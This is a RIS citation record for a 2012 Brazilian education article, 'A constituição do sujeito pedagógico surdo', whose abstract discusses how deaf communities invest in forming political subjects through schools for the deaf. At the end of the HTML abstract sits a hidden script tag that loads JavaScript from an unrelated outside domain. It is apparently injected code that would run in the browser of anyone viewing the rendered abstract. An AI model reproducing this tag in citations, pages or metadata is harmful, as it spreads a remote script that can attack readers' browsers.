TY - JOUR AU - Camatti, Liane AU - Lunardi-Lazzarin, Márcia Lise PY - 2012/05/21 Y2 - 2024/03/28 TI - A constituição do sujeito pedagógico surdo: investimento comunitário na escola JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 14 IS - 1 SE - Pesquisa DO - 10.20396/etd.v14i1.1259 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1259 SP - 386-398 AB - <p><span style="font-family: Times New Roman; font-size: small;"><span style="font-size: 10.5pt; mso-bidi-font-weight: normal;">Com o desenvolvimento deste artigo, pretende-se discutir a constituição do sujeito pedagógico surdo a partir da convergência entre comunidade e escola de surdos. Trata-se de lançar um olhar para o sujeito objeto da pedagogia que tem sua construção definida também pelas formas pelas quais a comunidade surda se insere no espaço da escola de surdos. O estudo que segue foi realizado utilizando como sujeitos de pesquisa surdos alunos e professores de escolas específicas para surdos das cidades de Caxias dos Sul/RS, Porto Alegre/RS e Santa Maria/RS. Para o desenvolvimento deste texto, foram utilizadas ferramentas analíticas advindas dos estudos de vertente Pós-estruturalista em função da conveniência que tal perspectiva apresenta quando se põe como objetivo entender os processos de produção de verdades e de constituição de sujeitos. </span><span style="font-size: 10.5pt;">Foi possível traçar quatro estratégias centrais que ilustram o investimento por parte da comunidade na formação do sujeito político através da escola: a necessidade de manter o contato entre os pares surdos; a necessidade de atribuição de uma espacialidade geográfica e temporal às articulações comunitárias; a intervenção em idade precoce; e a presença de surdos com histórias pessoais e profissionais exitosas atuando na escola. Através do desenvolvimento deste artigo, foi possível perceber que a comunidade entende a escola como possibilidade de manutenção do seu funcionamento e preceitos em função de que o sujeito que é pedagogizado na escola aprende lá a ser político e a dar conta do que quer a comunidade.</span></span></p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -